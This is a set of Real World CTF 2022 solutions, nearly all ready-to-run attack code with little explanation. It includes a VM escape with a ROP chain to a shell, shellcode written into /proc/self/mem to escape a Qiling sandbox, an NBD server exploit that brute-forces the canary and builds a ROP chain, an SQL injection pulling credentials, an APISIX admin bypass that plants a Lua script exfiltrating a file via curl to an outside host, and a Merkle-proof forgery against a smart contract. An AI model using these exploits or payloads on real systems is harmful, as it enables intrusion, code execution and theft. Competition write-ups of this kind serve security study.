Real World CTF 2022

clone+pwn

svme

from pwn import *

###Util
opcodeTable = {'nop':(0,0),
               'add':(1,0),
               'sub':(2,0),
               'mul':(3,0),
               'lt':(4,0),
               'eq':(5,0),
               'jmp':(6,1),
               'jeq':(7,1),
               'jne':(8,1),
               'push':(9,1),
               'load':(10,1),
               'gload':(11,1),
               'store':(12,1),
               'gstore':(13,1),
               'print':(14,0),
               'pop':(15,0),
               'call':(16,3),
               'ret':(17,0),
               'hlt':(18,0)}

def Vasm(code):
    code = code.split('\n')
    TAG = {}
    TORESOLVE = {}
    bcode = b''
    for line in code:
        cmt = line.find('//')
        if cmt!=-1:
            line = line[:line.find('//')]
        line = line.strip()
        if line=='':
            continue
        line = line.split(' ')
        opcode = line[0].strip()
        if opcode[-1]==':':
            TAG[opcode[:-1]] = len(bcode)//4
            continue
        if opcode not in opcodeTable:
            print(f'invalid opcode {opcode}')
            exit()
        bcode+=p32(opcodeTable[opcode][0])
        if opcodeTable[opcode][1]>0:
            oprands = line[1].split(',')
            assert len(oprands)==opcodeTable[opcode][1]
            for oprand in oprands:
                oprand = oprand.strip()
                sign = 1
                if oprand[0]=='-':
                    sign = -1
                    oprand = oprand[1:]
                if oprand[:2]=='0x':
                    opr = int(oprand[2:],16)
                elif oprand[0]>='0' and oprand[0]<='9':
                    opr = int(oprand)
                else:
                    if opcode!='jeq' and opcode!='jne' and opcode!='jmp' and opcode!='call':
                        print('inavalid usage of TAG')
                        exit()
                    TORESOLVE[len(bcode)] = oprand
                    opr = 0
                opr*=sign
                if opr<0:
                    opr+=1<<32
                bcode+=p32(opr)
    for tag in TORESOLVE:
        if TORESOLVE[tag] not in TAG:
            print(f'unknown tag {tag}')
            exit()
        bcode = bcode[:tag]+p32(TAG[TORESOLVE[tag]])+bcode[tag+4:]
    return bcode

###Addr
libc_start_offset = 0x26fc0
system_offset = 0x55410
bin_sh_offset = 0x1b75aa

###ROPgadget
L_add_rsp_0x40 = 0x125a0b
L_pop_rdi = 0x26b72
L_nop = 0x26b73

###Exploit
code = Vasm(f'''
             gload -0x840   //code
             gload -0x83f   //code
             jmp NEXT
             DO_OVERWRITE:
                pop
                pop
                pop
                load 1
                load 0
                ret
             NEXT:
             call DO_OVERWRITE,2,0
             gload 134

             push {libc_start_offset+243}
             sub
             gstore 20
             gload 135
             gstore 21

             gload 20
             push {L_add_rsp_0x40}
             add
             gstore -10
             gload 21
             gstore -9

             gload 20
             push {L_pop_rdi}
             add
             gstore 8
             gload 21
             gstore 9

             gload 20
             push {bin_sh_offset}
             add
             gstore 10
             gload 21
             gstore 11

             gload 20
             push {system_offset}
             add
             gstore 12
             gload 21
             gstore 13

             push 0
             push 0

             hlt
             ''').ljust(128*4,b'\x00')
r = remote('47.243.140.252',1337)
r.send(code)
r.interactive()

QLaaS

from pwn import *

r = remote('47.242.149.197',7600)

with open('exp','rb') as f:
    data = f.read()

r.sendlineafter(':\n',b64e(data))
line = r.recvuntil('python3.9')
while b'r-x' not in line:
    line = r.recvline()
prange = line.split(b' ')[0].split(b'-')
pstart = int(prange[0],16)
pend = int(prange[1],16)
print(hex(pstart),hex(pend))
r.send(p64(pstart)+p64(pend))

r.interactive()
#include<stdio.h>
#include<string.h>
#include<linux/fcntl.h>
#include<unistd.h>
#include<sys/stat.h>

char shellcode[] = "H\xbf/bin/sh\x00WH\x89\xe7H1\xf6H1\xd2H\xc7\xc0;\x00\x00\x00\x0f\x05";
char nopsled[0x100];

int main(){
  int dfd = open("./",O_DIRECTORY);
  int dfd2 = openat(dfd,"../../../../../",O_DIRECTORY);
  int fd = openat(dfd2,"./proc/self/maps",O_RDONLY,0);
  int fd2 = openat(dfd2,"./proc/self/mem",O_WRONLY,0);
  char buf[0x1000];
  memset(nopsled,0x90,0x100);
  int sz = read(fd,buf,0x1000);
  if(sz>0) write(1,buf,sz);
  if(read(0,buf,0x10)!=0x10) puts("read failed");
  lseek(fd2,*(off_t*)(&buf[8])-0x100,SEEK_SET);
  if(write(fd2,shellcode,sizeof(shellcode))!=sizeof(shellcode)) puts("write failed");
  for(int i=2;i<16;i++){
    lseek(fd2,*(off_t*)(&buf[8])-0x100*i,SEEK_SET);
    if(write(fd2,nopsled,sizeof(nopsled))!=0x100) puts("write failed");
  }
  fflush(stdout);
  _exit(0);
}

Who Moved My Block

from pwn import *
import hashlib


def POW(r):
    prefix = r.recvuntil('"+"',drop=True).split(b'"')[-1]
    difficulty = int(r.recvuntil('bits',drop=True).split(b' ')[-1])
    cnt = 0
    while True:
        if cnt%100000==0:
            print(cnt)
        cur = prefix+str(cnt).encode()
        if int(hashlib.sha256(cur).hexdigest(),16)>>(256-difficulty)==0:
            r.sendlineafter(': ',str(cnt))
            break
        cnt+=1

def getServer():
    p = remote('47.242.113.232',31337)
    POW(p)
    p.recvuntil(' 0.0.0.0:')
    port = int(p.recvline()[:-1])
    return p,port

def sendMsg(msg):
    r.send(p32(len(msg),endianness='big')+msg)

def negotiate(option,msg):
    r.send('IHAVEOPT')
    r.send(p32(option,endianness='big'))
    sendMsg(msg)

def handleInfo(L,nameL,bufC):
    r.send('IHAVEOPT')
    r.send(p32(6,endianness='big'))
    r.send(p32(L,endianness='big'))
    r.send(p32(nameL,endianness='big'))
    r.send(bufC)
    r.send('\x00'*nameL)
    r.send(p16(0,endianness='big'))
    r.recvuntil('An OPT_INFO request')

###Addr
negotiate_offset = 0x9570
system_plt_offset = 0x3bb0
read_got_offset = 0x12d00
bss_offset = 0x13800

###ROPgadget
C_pop_rdi = 0x4a58
C_set_param = 0xc2aa
C_call_func = 0xc290

kAlive,port = getServer()
IP = '47.242.113.232'

canary = b'\x00'
while len(canary)<8:
    for j in range(0x100):
        print(len(canary),j)
        r = remote(IP,port)
        r.recvuntil('NBDMAGICIHAVEOPT\x00\x03') #INIT_PASSWD + opts_magic + smallflags
        r.send(b'\x00\x00\x00\x03') #cflags(NEWSTYLE|NO_ZEROES) + opts_magic
        handleInfo(0x408+4+len(canary)+1,0x408+len(canary)+1,b'a'*0x408+canary+p8(j))
        try:
            negotiate(10,b'')
            r.recvuntil('given option is unknown')
            canary+=p8(j)
            print(canary)
            negotiate(2,b'')
            r.close()
            break
        except:
            r.close()
print(canary)

negotiate_addr = p8(negotiate_offset&0xff)
while len(negotiate_addr)<6:
    if len(negotiate_addr)==1:
        ITER = 0x10
    else:
        ITER = 0x1
    if len(negotiate_addr)==5:
        START = 0x50
    else:
        START = 0
    for j in range(START,0x100,ITER):
        print(len(negotiate_addr),j)
        r = remote(IP,port)
        r.recvuntil('NBDMAGICIHAVEOPT\x00\x03') #INIT_PASSWD + opts_magic + smallflags
        r.send(b'\x00\x00\x00\x03') #cflags(NEWSTYLE|NO_ZEROES) + opts_magic
        if len(negotiate_addr)==1:
            handleInfo(0x448+4+len(negotiate_addr)+1,0x448+len(negotiate_addr)+1,b'a'*0x408+canary+b'a'*0x38+negotiate_addr+p8(j|((negotiate_offset>>8)&0xf)))
        else:
            handleInfo(0x448+4+len(negotiate_addr)+1,0x448+len(negotiate_addr)+1,b'a'*0x408+canary+b'a'*0x38+negotiate_addr+p8(j))
        try:
            r.recvuntil('NBDMAGICIHAVEOPT')
            if len(negotiate_addr)==1:
                negotiate_addr+=p8(j|((negotiate_offset>>8)&0xf))
            else:
                negotiate_addr+=p8(j)
            print(negotiate_addr)
            r.close()
            break
        except:
            r.close()
negotiate_addr+=b'\x00\x00'
code_base = u64(negotiate_addr)-negotiate_offset
print(hex(code_base))

r = remote(IP,port)
r.recvuntil('NBDMAGICIHAVEOPT\x00\x03') #INIT_PASSWD + opts_magic + smallflags
r.send(b'\x00\x00\x00\x03') #cflags(NEWSTYLE|NO_ZEROES) + opts_magic
ROPchain = p64(code_base+C_set_param)+p64(0)+p64(1)+p64(4)+p64(code_base+bss_offset)+p64(22)+p64(code_base+read_got_offset)+\
           p64(code_base+C_call_func)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0)+\
           p64(code_base+C_pop_rdi)+p64(code_base+bss_offset)+\
           p64(code_base+system_plt_offset)
handleInfo(0x448+4+len(ROPchain),0x448+len(ROPchain),b'a'*0x408+canary+b'a'*0x38+ROPchain)
r.send(b'cat /mnt/flag.txt >&4\x00')
print(r.recvall())
r.interactive()

web

hack into skynet

POST / HTTP/1.1
Host: 47.242.21.212:8081
Content-Length: 247
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKhkYDh3tENxA2icS
Cookie: SessionId=e8b7fdceddfac5aa6f84044abd832f87
Connection: close

------WebKitFormBoundaryKhkYDh3tENxA2icS
Content-Disposition: form-data; name="name"

'union select access_key,password||':'||secret_key||':'||password from target_credentials limit 1 offset 6
-- -
------WebKitFormBoundaryKhkYDh3tENxA2icS--

=> rwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3-questi0n}

API6

POST /apisix/batch-requests HTTP/1.1
Host: localhost:9080
Content-Type: application/json
Connection: close
Content-Length: 526

{
    "headers": {
        "X-API-KEY":"edd1c9f034335f136f87ad84b625c8f1",
        "X-Real-IP":"127.0.0.1"
    },
    "timeout": 500,
    "pipeline": [
        {
            "method": "PUT",
            "path": "/apisix/admin/routes/1",
            "headers": {
                "X-Real-IP":"127.0.0.1"
            },
            "body":"{
                \"uri\": \"/rce\",
                \"script\": \"local _M = {} \n function _M.access(api_ctx) \n os.execute('curl ginoah.tw?p=`cat /flag`')\n end \nreturn _M\"
            }"
        }
    ]
}

Then trigger the script

GET /rce HTTP/1.1
Host: localhost:9080
Connection: close

=>rwctf{1998e51bd0dd6ba945d0676d45d32852}

crypto(currency)

Tresure Hunter

from pwn import *
from Crypto.Util.number import long_to_bytes,bytes_to_long
import hashlib
import sys
import subprocess
import json
from web3 import Web3
from eth_account import Account
from ethereum.transactions import Transaction
import binascii
import sha3
import requests
import time

###Util
def leafHash(address,val):
    if val==0:
        return b'\x00'*32
    else:
        return sha3.keccak_256(long_to_bytes(int(address[2:],16)).rjust(32,b'\x00')+long_to_bytes(val).rjust(32,b'\x00')).digest()

def merge(l,r):
    if l==0 and r==0:
        return b'\x00'*32
    elif l==0:
        return r
    elif r==0:
        return l
    else:
        return sha3.keccak_256(l+r).digest()

def calcRoot(proof,leaves):
    idx = 0
    cur = 0
    stack = []
    L = len(proof)
    hist = []
    while idx<L:
        if proof[idx]==0x4c:
            stack.append((leaves[cur][0],leafHash(leaves[cur][0],leaves[cur][1])))
            cur+=1
            idx+=1
        elif proof[idx]==0x48:
            if L<2:
                print('stack underflow')
                exit()
            if idx>=L-1:
                print('instruction overflow')
                exit()
            height = proof[idx+1]
            N1 = stack[-1]
            N2 = stack[-2]
            stack = stack[:-2]
            N1_A = int(N1[0][2:],16)
            N2_A = int(N2[0][2:],16)
            if (N1_A>>(height+1))!=(N2_A>>(height+1)):
                print('path mismatch')
                exit()
            if ((N1_A>>height)&1)==((N2_A>>height)&1):
                print('incorrect height',N1[0],N2[0],height)
                exit()
            if ((N1_A>>height)&1)==0:
                N = (N2[0],merge(N1[1],N2[1]))
            else:
                N = (N2[0],merge(N2[1],N1[1]))
            idx+=2
            stack.append(N)
        elif proof[idx]==0x50:
            if L<1:
                print('stack underflow')
                exit()
            if idx>=L-2:
                print('instruction overflow')
                exit()
            height = proof[idx+1]
            N1 = stack[-1]
            stack = stack[:-1]
            N1_A = int(N1[0][2:],16)
            if ((N1_A>>height)&1)==0:
                N = ('0x'+hex((N1_A>>(height+1))<<(height+1))[2:].rjust(40,'0'),merge(N1[1],proof[idx+2]))
            else:
                N = ('0x'+hex((N1_A>>(height+1))<<(height+1))[2:].rjust(40,'0'),merge(proof[idx+2],N1[1]))
            idx+=3
            stack.append(N)
        hist.append(stack)
    return hist

def encodeProof(proof):
    enc = []
    for x in proof:
        if type(x)==int:
            x = long_to_bytes(x).rjust(32,b'\x00')
        enc.append(x)
    return enc

def createAccount():
    account = web3.eth.account.create()
    res = requests.post(f'http://{ip}:{Fport}/api/claim',data={'address':account.address})
    return account

def wait(txhash):
    while True:
        try:
            rcpt = web3.eth.getTransactionReceipt(txhash)
            break
        except:
            time.sleep(1)
    return rcpt


def solve(accountA,accountB,target):
    def debug0(rcpt):
        print('status :',rcpt.status)
    def debug1(web3, contract_addr):
        event_filter = web3.eth.filter({'address':contract_addr})
        print('events : ')
        for Filter in event_filter.get_all_entries():
            print(Filter['data'])
    hunters = [('0x0bc529c00C6401aEF6D220BE8C6Ea1667F6Ad93e',1),
               ('0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45',1),
               ('0x6B175474E89094C44Da98b954EedeAC495271d0F',1),
               ('0x6B3595068778DD592e39A122f4f5a5cF09C90fE2',1),
               ('0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B',1),
               ('0xc00e94Cb662C3520282E6f5717214004A7f26888',1),
               ('0xD533a949740bb3306d119CC777fa900bA034cd52',1),
               ('0xdAC17F958D2ee523a2206206994597C13D831ec7',1)]
    proof = [0x4c,0x4c,0x4c,0x4c,0x48,0x95,0x48,0x99,0x48,0x9e,0x4c,0x4c,0x4c,0x4c,0x48,0x9b,0x48,0x9c,0x48,0x9e,0x48,0x9f]
    abi = [{'name':'enter','constant':True,'inputs':[{'name':'_proofs','type':'bytes32[]'}],'outputs':[],'payable':False,'type':'function'},
           {'name':'leave','constant':True,'inputs':[{'name':'_proofs','type':'bytes32[]'}],'outputs':[],'payable':False,'type':'function'},
           {'name':'findKey','constant':True,'inputs':[{'name':'_proofs','type':'bytes32[]'}],'outputs':[],'payable':False,'type':'function'},
           {'name':'pickupTreasureChest','constant':True,'inputs':[{'name':'_proofs','type':'bytes32[]'}],'outputs':[],'payable':False,'type':'function'},
           {'name':'openTreasureChest','constant':True,'inputs':[],'outputs':[],'payable':False,'type':'function'},
           {'name':'root','constant':True,'inputs':[],'outputs':[{'name':'root','type':'bytes32'}],'payable':False,'type':'function'},
           {'name':'smtMode','constant':True,'inputs':[],'outputs':[{'name':'smtMode','type':'bytes32'}],'payable':False,'type':'function'},
           {'name':'haveKey','constant':True,'inputs':[{'name':'address','type':'address'}],'outputs':[{'name':'state','type':'bool'}],'payable':False,'type':'function'},
           {'name':'haveTreasureChest','constant':True,'inputs':[{'name':'address','type':'address'}],'outputs':[{'name':'state','type':'bool'}],'payable':False,'type':'function'}]
    contract = web3.eth.contract(address=target,abi=abi)

    hist = calcRoot(proof,hunters)
    keyState = hist[-2]
    proof = [0x4c,0x50,2,keyState[0][1],0x50,1,keyState[1][1]]
    pe = encodeProof(proof)

    tx = contract.functions.enter(pe).buildTransaction({'from':accountA.address})
    tx['nonce'] = web3.eth.get_transaction_count(accountA.address)
    tx = web3.eth.account.sign_transaction(tx,accountA.key)
    txhash = web3.eth.sendRawTransaction(tx.rawTransaction)
    rcpt = wait(txhash)
    print(rcpt)

    tx = contract.functions.pickupTreasureChest(pe).buildTransaction({'from':accountA.address})
    tx['nonce'] = web3.eth.get_transaction_count(accountA.address)
    tx = web3.eth.account.sign_transaction(tx,accountA.key)
    txhash = web3.eth.sendRawTransaction(tx.rawTransaction)
    rcpt = wait(txhash)
    print(rcpt)

    hist = calcRoot(proof,[(accountA.address,1)])
    nkeyState = hist[-2]
    proof = [0x4c,0x50,0x9e,keyState[1][1],0x50,0x9f,nkeyState[0][1]]
    pe = encodeProof(proof)

    tx = contract.functions.enter(pe).buildTransaction({'from':accountB.address})
    tx['nonce'] = web3.eth.get_transaction_count(accountB.address)
    tx = web3.eth.account.sign_transaction(tx,accountB.key)
    txhash = web3.eth.sendRawTransaction(tx.rawTransaction)
    rcpt = wait(txhash)
    print(rcpt)

    tx = contract.functions.leave(pe).buildTransaction({'from':accountB.address})
    tx['nonce'] = web3.eth.get_transaction_count(accountB.address)
    tx = web3.eth.account.sign_transaction(tx,accountB.key)
    txhash = web3.eth.sendRawTransaction(tx.rawTransaction)
    rcpt = wait(txhash)
    print(rcpt)

    tx = contract.functions.findKey(pe).buildTransaction({'from':accountA.address})
    tx['nonce'] = web3.eth.get_transaction_count(accountA.address)
    tx = web3.eth.account.sign_transaction(tx,accountA.key)
    txhash = web3.eth.sendRawTransaction(tx.rawTransaction)
    rcpt = wait(txhash)
    print(rcpt)

    print(contract.functions.haveKey(accountA.address).call({'from':accountA.address}))
    print(contract.functions.haveTreasureChest(accountA.address).call({'from':accountA.address}))

    tx = contract.functions.openTreasureChest().buildTransaction({'from':accountA.address})
    tx['nonce'] = web3.eth.get_transaction_count(accountA.address)
    tx = web3.eth.account.sign_transaction(tx,accountA.key)
    txhash = web3.eth.sendRawTransaction(tx.rawTransaction)
    rcpt = wait(txhash)
    print(rcpt)

###Exploit
ip = '47.243.235.111'
Mport = 20000
Fport = 8080
Gport = 8545

web3 = Web3(Web3.HTTPProvider(f'http://{ip}:{Gport}',request_kwargs={'timeout':60}))

accountA = Account.from_key(b'~\xf6\xd8\xef\x14@\xa9\xd6\x13\x98`\xbc\x9do\xf1\x14T\x96\xc2wO}O\xee\xc2&\xf5\xb4\xcb\x96\x07\xed')
accountB = Account.from_key(b'\xb1t\x05 p\x1a\xd4\x08&U7\x14\x83\x89\xdeJ/\xf4\x9b\x17\xd0\x8cz!\xd2"\xe4\xdb\x16\xa9(:')
#accountA = createAccount()
#accountB = createAccount()

solve(accountA,accountB,'0x7265141788cdB6821148e0141B6467631E40d9fc')